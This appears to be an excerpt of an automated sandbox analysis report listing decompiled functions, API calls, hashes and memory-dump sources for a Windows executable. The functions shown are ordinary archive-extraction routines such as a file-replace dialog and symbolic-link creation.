Opcode Fuzzy Hash: 95b7ee84de12b8496a1a8b8e1aace116de3f8b33a91cc797e104a584dc080640
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7E3, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7E3() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7d289634e4b6cba7c85f839f1669828fe443a6a0a0ab7179742232fdf0d0c016
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: 7d289634e4b6cba7c85f839f1669828fe443a6a0a0ab7179742232fdf0d0c016
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 0110D7ED, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0110D7ED() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x112ada4); // executed
				E0110DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0110d6f4
0x0110d6f9
0x0110d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0110D6F9

Part of subcall function 0110DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0110DE2C
Part of subcall function 0110DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0110DE3D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cec55ba904d65eb466fdab557f90adad41d236ef766316440f7526e658fc2db0
Instruction ID: b104910f5b504e9f5d6d11bf77d9f78341f80ac10c2cc585fcf5a6b58567fa21
Opcode Fuzzy Hash: cec55ba904d65eb466fdab557f90adad41d236ef766316440f7526e658fc2db0
Instruction Fuzzy Hash: 0AA012E1558113BC344D22D17C01D3E010CCCD0951330844DF401800C0D6C418100033

Uniqueness

Uniqueness Score: -1.00%

Function 010F9DFF, Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E010F9DFF(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x010f9e02
0x010f9e0b
0x010f9e0e

APIs

SetEndOfFile.KERNELBASE(?,010F90AB,?,?,-00001960), ref: 010F9E02

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 646daa81ca65f206133f1c225e038c33d3a119dd6ca56b98a78ec003b1c89fd2
Instruction ID: 0cb22af8f1d9e4229e83351ce17313133479fa344344bdf59a63681c5962c5d2
Opcode Fuzzy Hash: 646daa81ca65f206133f1c225e038c33d3a119dd6ca56b98a78ec003b1c89fd2
Instruction Fuzzy Hash: 50B012300A0005568E202E30D8049183A12F6113063004170A012C5054CB22C0239700

Uniqueness

Uniqueness Score: -1.00%

Function 0110A2A0, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110A2A0(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x0110a2a4
0x0110a2ac
0x0110a2b0

APIs

SetCurrentDirectoryW.KERNELBASE(?,0110A507,C:\Users\user\Desktop,00000000,0113846A,00000006), ref: 0110A2A4

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: a938fa063ca97593d564e46b583fe629b0ff8bbb5f5e6015b14d862e3f2cccd7
Instruction ID: 28916bb1b4d9fae0df418f88e99c6ce309f2f4dbb33f5215d42034ec540edb56
Opcode Fuzzy Hash: a938fa063ca97593d564e46b583fe629b0ff8bbb5f5e6015b14d862e3f2cccd7
Instruction Fuzzy Hash: FEA01230194006568A200F30C809C1976515760702F108630B102C0094CB308860A600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0110B820, Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286
timewindowfileCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0110B820(void* __ecx, void* __edx, void* __eflags, char _a4, short _a8, char _a12, short _a108, short _a112, char _a192, char _a212, struct _WIN32_FIND_DATAW _a288, signed char _a304, signed char _a308, struct _FILETIME _a332, intOrPtr _a340, intOrPtr _a344, short _a884, short _a896, short _a900, int _a1904, char _a1924, int _a1928, short _a2596, short _a2616, char _a2628, char _a2640, struct HWND__* _a6740, intOrPtr _a6744, signed short _a6748, intOrPtr _a6752) {
				struct _FILETIME _v0;
				struct _SYSTEMTIME _v12;
				struct _SYSTEMTIME _v16;
				struct _FILETIME _v24;
				void* _t73;
				void* _t136;
				long _t137;
				void* _t141;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t145;
				signed short _t148;
				void* _t149;
				void* _t151;
				void* _t152;
				intOrPtr _t153;
				signed int _t154;
				signed int _t158;
				struct HWND__* _t160;
				intOrPtr _t163;
				void* _t164;
				int _t167;
				int _t170;
				void* _t175;
				void* _t177;

				_t157 = __edx;
				_t152 = __ecx;
				E0110E1C0();
				_t148 = _a6748;
				_t163 = _a6744;
				_t160 = _a6740;
				if(E010F130B(__edx, _t160, _t163, _t148, _a6752, L"REPLACEFILEDLG", 0, 0) == 0) {
					_t164 = _t163 - 0x110;
					if(_t164 == 0) {
						SetFocus(GetDlgItem(_t160, 0x6c));
						E010FFD96( &_a2640, _a6752, 0x800);
						E010FBC9B( &_a2628,  &_a2628, 0x800);
						SetDlgItemTextW(_t160, 0x65,  &_a2616);
						 *0x1151080( &_a2616, 0,  &_a1924, 0x2b4, 0x100);
						SendDlgItemMessageW(_t160, 0x66, 0x170, _a1904, 0);
						_t149 = FindFirstFileW( &_a2596,  &_a288);
						if(_t149 != 0xffffffff) {
							FileTimeToLocalFileTime( &_a332,  &(_v24.dwHighDateTime));
							FileTimeToSystemTime( &(_v24.dwHighDateTime),  &_v12);
							_push(0x32);
							_push( &_a12);
							_push(0);
							_push( &_v12);
							_t167 = 2;
							GetTimeFormatW(0x400, 0x800, ??, ??, ??, ??);
							GetDateFormatW(0x400, 0,  &_v12, 0,  &_a112, 0x32);
							_push( &_a12);
							_push( &_a112);
							E010F3FD6( &_a900, 0x200, L"%s %s %s", E010FDD11(_t152, 0x99));
							_t177 = _t175 + 0x18;
							SetDlgItemTextW(_t160, 0x6a,  &_a900);
							FindClose(_t149);
							if((_a308 & 0x00000010) != 0) {
								_t151 = 0x200;
							} else {
								asm("adc eax, ebp");
								E0110A5BC(0 + _a344, _a340,  &_a212, 0x32);
								_push(E010FDD11(0 + _a344, 0x98));
								_t151 = 0x200;
								E010F3FD6( &_a884, 0x200, L"%s %s",  &_a192);
								_t177 = _t177 + 0x14;
								SetDlgItemTextW(_t160, 0x68,  &_a884);
							}
							SendDlgItemMessageW(_t160, 0x67, 0x170, _a1928, 0);
							_t153 =  *0x1137464; // 0x0
							E01100B3D(_t153, _t157,  &_a4);
							FileTimeToLocalFileTime( &_v0,  &_v24);
							FileTimeToSystemTime( &_v24,  &_v16);
							GetTimeFormatW(0x400, _t167,  &_v16, 0,  &_a8, 0x32);
							GetDateFormatW(0x400, 0,  &_v16, 0,  &_a108, 0x32);
							_push( &_a8);
							_push( &_a108);
							E010F3FD6( &_a896, _t151, L"%s %s %s", E010FDD11(_t153, 0x99));
							_t175 = _t177 + 0x18;
							SetDlgItemTextW(_t160, 0x6b,  &_a896);
							_t154 =  *0x114cc84;
							_t158 =  *0x114cc80;
							if((_a304 & 0x00000010) == 0 || (_t158 | _t154) != 0) {
								E0110A5BC(_t158, _t154,  &_a212, 0x32);
								_push(E010FDD11(_t154, 0x98));
								E010F3FD6( &_a884, _t151, L"%s %s",  &_a192);
								_t175 = _t175 + 0x14;
								SetDlgItemTextW(_t160, 0x69,  &_a884);
							}
						}
						L27:
						_t73 = 0;
						L28:
						return _t73;
					}
					if(_t164 != 1) {
						goto L27;
					}
					_t170 = 2;
					_t136 = (_t148 & 0x0000ffff) - _t170;
					if(_t136 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t170);
						L13:
						_t137 = SendDlgItemMessageW(_t160, 0x66, 0x171, 0, 0);
						if(_t137 != 0) {
							 *0x11510cc(_t137);
						}
						EndDialog(_t160, _t170);
						goto L1;
					}
					_t141 = _t136 - 0x6a;
					if(_t141 == 0) {
						_t170 = 0;
						goto L13;
					}
					_t142 = _t141 - 1;
					if(_t142 == 0) {
						_t170 = 1;
						goto L13;
					}
					_t143 = _t142 - 1;
					if(_t143 == 0) {
						_push(4);
						goto L12;
					}
					_t144 = _t143 - 1;
					if(_t144 == 0) {
						goto L13;
					}
					_t145 = _t144 - 1;
					if(_t145 == 0) {
						_push(3);
						goto L12;
					}
					if(_t145 != 1) {
						goto L27;
					}
					goto L11;
				}
				L1:
				_t73 = 1;
				goto L28;
			}

0x0110b820
0x0110b820
0x0110b825
0x0110b82b
0x0110b834
0x0110b83e
0x0110b85d
0x0110b867
0x0110b86d
0x0110b8e7
0x0110b902
0x0110b911
0x0110b921
0x0110b942
0x0110b958
0x0110b974
0x0110b979
0x0110b98c
0x0110b99c
0x0110b9a2
0x0110b9a8
0x0110b9a9
0x0110b9ae
0x0110b9b1
0x0110b9b8
0x0110b9d4
0x0110b9de
0x0110b9e6
0x0110ba04
0x0110ba09
0x0110ba17
0x0110ba1e
0x0110ba2c
0x0110ba92
0x0110ba2e
0x0110ba48
0x0110ba4c
0x0110ba5b
0x0110ba63
0x0110ba77
0x0110ba7c
0x0110ba8a
0x0110ba8a
0x0110baa7
0x0110baad
0x0110bab8
0x0110bac7
0x0110bad7
0x0110baf1
0x0110bb09
0x0110bb13
0x0110bb1b
0x0110bb35
0x0110bb3a
0x0110bb48
0x0110bb56
0x0110bb5c
0x0110bb62
0x0110bb76
0x0110bb85
0x0110bb9c
0x0110bba1
0x0110bbaf
0x0110bbaf
0x0110bb62
0x0110bbb5
0x0110bbb5
0x0110bbb7
0x0110bbc1
0x0110bbc1
0x0110b872
0x00000000
0x00000000
0x0110b87d
0x0110b87e
0x0110b880
0x0110b8a4
0x0110b8a4
0x0110b8a6
0x0110b8a6
0x0110b8a7
0x0110b8b1
0x0110b8b9
0x0110b8bc
0x0110b8bc
0x0110b8c4
0x00000000
0x0110b8c4
0x0110b882
0x0110b885
0x0110b8d9
0x00000000
0x0110b8d9
0x0110b887
0x0110b88a
0x0110b8d6
0x00000000
0x0110b8d6
0x0110b88c
0x0110b88f
0x0110b8d0
0x00000000
0x0110b8d0
0x0110b891
0x0110b894
0x00000000
0x00000000
0x0110b896
0x0110b899
0x0110b8cc
0x00000000
0x0110b8cc
0x0110b89e
0x00000000
0x00000000
0x00000000
0x0110b89e
0x0110b85f
0x0110b861
0x00000000

APIs

Part of subcall function 010F130B: GetDlgItem.USER32(00000000,00003021), ref: 010F134F
Part of subcall function 010F130B: SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0110B8B1
EndDialog.USER32(?,00000006), ref: 0110B8C4
GetDlgItem.USER32(?,0000006C), ref: 0110B8E0
SetFocus.USER32(00000000), ref: 0110B8E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0110B921
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0110B958
FindFirstFileW.KERNEL32(?,?), ref: 0110B96E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0110B98C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0110B99C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0110B9B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0110B9D4
_swprintf.LIBCMT ref: 0110BA04

Part of subcall function 010F3FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F3FE9

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0110BA17
FindClose.KERNEL32(00000000), ref: 0110BA1E
_swprintf.LIBCMT ref: 0110BA77
SetDlgItemTextW.USER32(?,00000068,?), ref: 0110BA8A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0110BAA7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0110BAC7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0110BAD7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0110BAF1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0110BB09
_swprintf.LIBCMT ref: 0110BB35
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0110BB48
_swprintf.LIBCMT ref: 0110BB9C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0110BBAF

Part of subcall function 0110A5BC: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0110A5E2
Part of subcall function 0110A5BC: GetNumberFormatW.KERNEL32 ref: 0110A631

Strings

%s %s %s, xrefs: 0110B9F2, 0110BB27
REPLACEFILEDLG, xrefs: 0110B847
%s %s, xrefs: 0110BA69, 0110BB8E

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 88239044226d866af4a080df3d7ef6ee197239736a5952f0a299ae19fe934ea7
Instruction ID: 6c5b8348cc9be22f459a5bffc9898c37f74b6b035fd7b168f4bfe31442f50824
Opcode Fuzzy Hash: 88239044226d866af4a080df3d7ef6ee197239736a5952f0a299ae19fe934ea7
Instruction Fuzzy Hash: 06919476648349BFE33A9BA4DC49FEB77ACEB49700F044829F785D2084D7B596048763

Uniqueness

Uniqueness Score: -1.00%

Function 010F7165, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E010F7165(void* __edx) {
				void* __esi;
				signed int _t108;
				void* _t110;
				intOrPtr _t113;
				int _t115;
				intOrPtr _t118;
				signed int _t136;
				int _t142;
				void* _t176;
				void* _t179;
				void* _t184;
				short _t185;
				intOrPtr _t191;
				void* _t196;
				void* _t197;
				void* _t216;
				void* _t217;
				intOrPtr _t218;
				intOrPtr _t220;
				void* _t222;
				WCHAR* _t223;
				intOrPtr _t227;
				short _t231;
				void* _t232;
				intOrPtr _t233;
				short _t235;
				void* _t236;
				void* _t238;
				void* _t239;

				_t217 = __edx;
				E0110E0E4(0x1121c05, _t236);
				E0110E1C0();
				 *((intOrPtr*)(_t236 - 0x1c)) = 1;
				if( *0x112feb3 == 0) {
					E010F7BCE(L"SeRestorePrivilege");
					E010F7BCE(L"SeCreateSymbolicLinkPrivilege");
					 *0x112feb3 = 1;
				}
				_t193 = _t236 - 0x30;
				E010F7076(_t236 - 0x30, 0x1418);
				_t191 =  *((intOrPtr*)(_t236 + 0x10));
				 *(_t236 - 4) =  *(_t236 - 4) & 0x00000000;
				E010FFD96(_t236 - 0x1080, _t191 + 0x1104, 0x800);
				 *((intOrPtr*)(_t236 - 0x18)) = E011133F3(_t236 - 0x1080);
				_t226 = _t236 - 0x1080;
				_t222 = _t236 - 0x2080;
				_t108 = E01115668(_t236 - 0x1080, L"\\??\\", 4);
				_t239 = _t238 + 0x10;
				asm("sbb al, al");
				_t110 =  ~_t108 + 1;
				 *(_t236 - 0x10) = _t110;
				if(_t110 != 0) {
					_t226 = _t236 - 0x1078;
					_t184 = E01115668(_t236 - 0x1078, L"UNC\\", 4);
					_t239 = _t239 + 0xc;
					if(_t184 == 0) {
						_t185 = 0x5c;
						 *((short*)(_t236 - 0x2080)) = _t185;
						_t222 = _t236 - 0x207e;
						_t226 = _t236 - 0x1072;
					}
				}
				E01115646(_t222, _t226);
				_t113 = E011133F3(_t236 - 0x2080);
				_t227 =  *((intOrPtr*)(_t236 + 8));
				_t223 =  *(_t236 + 0xc);
				 *((intOrPtr*)(_t236 - 0x14)) = _t113;
				if( *((char*)(_t227 + 0x618f)) != 0) {
					L9:
					_push(1);
					_push(_t223);
					E010F9F8F(_t193, _t236);
					if( *((char*)(_t191 + 0x10f1)) != 0 ||  *((char*)(_t191 + 0x2104)) != 0) {
						_t115 = CreateDirectoryW(_t223, 0);
						__eflags = _t115;
						if(_t115 == 0) {
							goto L27;
						}
						goto L14;
					} else {
						_t176 = CreateFileW(_t223, 0x40000000, 0, 0, 1, 0x80, 0);
						if(_t176 == 0xffffffff) {
							L27:
							 *((char*)(_t236 - 0x1c)) = 0;
							L28:
							E010F15D1(_t236 - 0x30);
							 *[fs:0x0] =  *((intOrPtr*)(_t236 - 0xc));
							return  *((intOrPtr*)(_t236 - 0x1c));
						}
						CloseHandle(_t176);
						L14:
						_t118 =  *((intOrPtr*)(_t191 + 0x1100));
						if(_t118 != 3) {
							__eflags = _t118 - 2;
							if(_t118 == 2) {
								L18:
								_t196 =  *(_t236 - 0x30);
								_t218 =  *((intOrPtr*)(_t236 - 0x18));
								 *_t196 = 0xa000000c;
								_t231 = _t218 + _t218;
								 *((short*)(_t196 + 0xa)) = _t231;
								 *((short*)(_t196 + 4)) = 0x10 + ( *((intOrPtr*)(_t236 - 0x14)) + _t218) * 2;
								 *((intOrPtr*)(_t196 + 6)) = 0;
								E01115646(_t196 + 0x14, _t236 - 0x1080);
								_t60 = _t231 + 2; // 0x3
								_t232 =  *(_t236 - 0x30);
								 *((short*)(_t232 + 0xc)) = _t60;
								 *((short*)(_t232 + 0xe)) =  *((intOrPtr*)(_t236 - 0x14)) +  *((intOrPtr*)(_t236 - 0x14));
								E01115646(_t232 + ( *((intOrPtr*)(_t236 - 0x18)) + 0xb) * 2, _t236 - 0x2080);
								_t136 =  *(_t236 - 0x10) & 0x000000ff ^ 0x00000001;
								__eflags = _t136;
								 *(_t232 + 0x10) = _t136;
								L19:
								_t197 = CreateFileW(_t223, 0xc0000000, 0, 0, 3, 0x2200000, 0);
								 *(_t236 - 0x10) = _t197;
								if(_t197 == 0xffffffff) {
									goto L27;
								}
								_t142 = DeviceIoControl(_t197, 0x900a4, _t232, ( *(_t232 + 4) & 0x0000ffff) + 8, 0, 0, _t236 - 0x34, 0);
								_t256 = _t142;
								if(_t142 != 0) {
									E010F95B6(_t236 - 0x30a4);
									 *(_t236 - 4) = 1;
									E010F7BAD(_t236 - 0x30a4,  *(_t236 - 0x10));
									_t233 =  *((intOrPtr*)(_t236 + 8));
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									E010F9CA2(_t236 - 0x30a4, _t233,  ~( *(_t233 + 0x72c8)) & _t191 + 0x00001040,  ~( *(_t233 + 0x72cc)) & _t191 + 0x00001048,  ~( *(_t233 + 0x72d0)) & _t191 + 0x00001050);
									E010F9670(_t236 - 0x30a4);
									__eflags =  *((char*)(_t233 + 0x61a0));
									if( *((char*)(_t233 + 0x61a0)) == 0) {
										E010FA384(_t223,  *((intOrPtr*)(_t191 + 0x24)));
									}
									E010F95E8(_t236 - 0x30a4, _t233);
									goto L28;
								}
								CloseHandle( *(_t236 - 0x10));
								E010F7032(_t256, 0x15, 0, _t223);
								_t154 = GetLastError();
								if(_t154 == 5 || _t154 == 0x522) {
									if(E010FFF7D() == 0) {
										E010F159C(_t236 - 0x80, 0x18);
										_t154 = E01100D97(_t236 - 0x80);
									}
								}
								E01112DC0(_t154);
								E010F6F5B(0x112ff50, 9);
								_push(_t223);
								if( *((char*)(_t191 + 0x10f1)) == 0) {
									DeleteFileW();
								} else {
									RemoveDirectoryW();
								}
								goto L27;
							}
							__eflags = _t118 - 1;
							if(_t118 != 1) {
								goto L27;
							}
							goto L18;
						}
						_t216 =  *(_t236 - 0x30);
						_t220 =  *((intOrPtr*)(_t236 - 0x18));
						 *_t216 = 0xa0000003;
						_t235 = _t220 + _t220;
						 *((short*)(_t216 + 0xa)) = _t235;
						 *((short*)(_t216 + 4)) = 0xc + ( *((intOrPtr*)(_t236 - 0x14)) + _t220) * 2;
						 *((intOrPtr*)(_t216 + 6)) = 0;
						E01115646(_t216 + 0x10, _t236 - 0x1080);
						_t40 = _t235 + 2; // 0x3
						_t232 =  *(_t236 - 0x30);
						 *((short*)(_t232 + 0xc)) = _t40;
						 *((short*)(_t232 + 0xe)) =  *((intOrPtr*)(_t236 - 0x14)) +  *((intOrPtr*)(_t236 - 0x14));
						E01115646(_t232 + ( *((intOrPtr*)(_t236 - 0x18)) + 9) * 2, _t236 - 0x2080);
						goto L19;
					}
				}
				if( *(_t236 - 0x10) != 0) {
					goto L27;
				}
				_t179 = E010FB772(_t191 + 0x1104);
				_t249 = _t179;
				if(_t179 != 0) {
					goto L27;
				}
				_push(_t191 + 0x1104);
				_push(_t223);
				_push(_t191 + 0x28);
				_push(_t227);
				if(E010F798B(_t217, _t249) == 0) {
					goto L27;
				}
				goto L9;
			}

0x010f7165
0x010f716a
0x010f7174
0x010f7186
0x010f7189
0x010f7190
0x010f719a
0x010f719f
0x010f719f
0x010f71aa
0x010f71ad
0x010f71b2
0x010f71b5
0x010f71cc
0x010f71df
0x010f71e2
0x010f71ea
0x010f71f6
0x010f71fb
0x010f7200
0x010f7202
0x010f7204
0x010f7209
0x010f720d
0x010f721b
0x010f7220
0x010f7225
0x010f7229
0x010f722a
0x010f7231
0x010f7237
0x010f7237
0x010f7225
0x010f723f
0x010f724b
0x010f7250
0x010f7256
0x010f7259
0x010f7263
0x010f729d
0x010f72a0
0x010f72a1
0x010f72a2
0x010f72ae
0x010f72e5
0x010f72eb
0x010f72ed
0x00000000
0x00000000
0x00000000
0x010f72b9
0x010f72ca
0x010f72d3
0x010f7492
0x010f7492
0x010f7496
0x010f7499
0x010f74a7
0x010f74b1
0x010f74b1
0x010f72da
0x010f72f3
0x010f72f3
0x010f72fc
0x010f7364
0x010f7367
0x010f7371
0x010f7371
0x010f7374
0x010f737c
0x010f7382
0x010f7385
0x010f7390
0x010f7396
0x010f73a4
0x010f73a9
0x010f73ac
0x010f73af
0x010f73b8
0x010f73cd
0x010f73db
0x010f73db
0x010f73de
0x010f73e1
0x010f73f9
0x010f73fb
0x010f7401
0x00000000
0x00000000
0x010f741f
0x010f7425
0x010f7427
0x010f74c2
0x010f74d0
0x010f74d4
0x010f74d9
0x010f74ea
0x010f74fd
0x010f7510
0x010f751b
0x010f7526
0x010f752b
0x010f7532
0x010f7538
0x010f7538
0x010f7543
0x00000000
0x010f7543
0x010f7430
0x010f743b
0x010f7440
0x010f7449
0x010f7459
0x010f7460
0x010f7468
0x010f7468
0x010f7459
0x010f7474
0x010f747d
0x010f7489
0x010f748a
0x010f74b4
0x010f748c
0x010f748c
0x010f748c
0x00000000
0x010f748a
0x010f7369
0x010f736b
0x00000000
0x00000000
0x00000000
0x010f736b
0x010f72fe
0x010f7301
0x010f7309
0x010f730f
0x010f7312
0x010f731d
0x010f7323
0x010f7331
0x010f7336
0x010f7339
0x010f733c
0x010f7345
0x010f735a
0x00000000
0x010f735f
0x010f72ae
0x010f7269
0x00000000
0x00000000
0x010f7276
0x010f727b
0x010f727d
0x00000000
0x00000000
0x010f7289
0x010f728a
0x010f728e
0x010f728f
0x010f7297
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 010F716A
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 010F72CA
CloseHandle.KERNEL32(00000000), ref: 010F72DA

Part of subcall function 010F7BCE: GetCurrentProcess.KERNEL32(00000020,?), ref: 010F7BDD
Part of subcall function 010F7BCE: GetLastError.KERNEL32 ref: 010F7C23
Part of subcall function 010F7BCE: CloseHandle.KERNEL32(?), ref: 010F7C32

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 010F72E5
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 010F73F3
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 010F741F
CloseHandle.KERNEL32(?), ref: 010F7430
GetLastError.KERNEL32(00000015,00000000,?), ref: 010F7440
RemoveDirectoryW.KERNEL32(?), ref: 010F748C
DeleteFileW.KERNEL32(?), ref: 010F74B4

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 010F7195
\??\, xrefs: 010F71F0
SeRestorePrivilege, xrefs: 010F718B
UNC\, xrefs: 010F7215

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 5c15a5bb932e833c74326e9af5861de11b671c3c4ecd3f6cf2f1a7838750a8e5
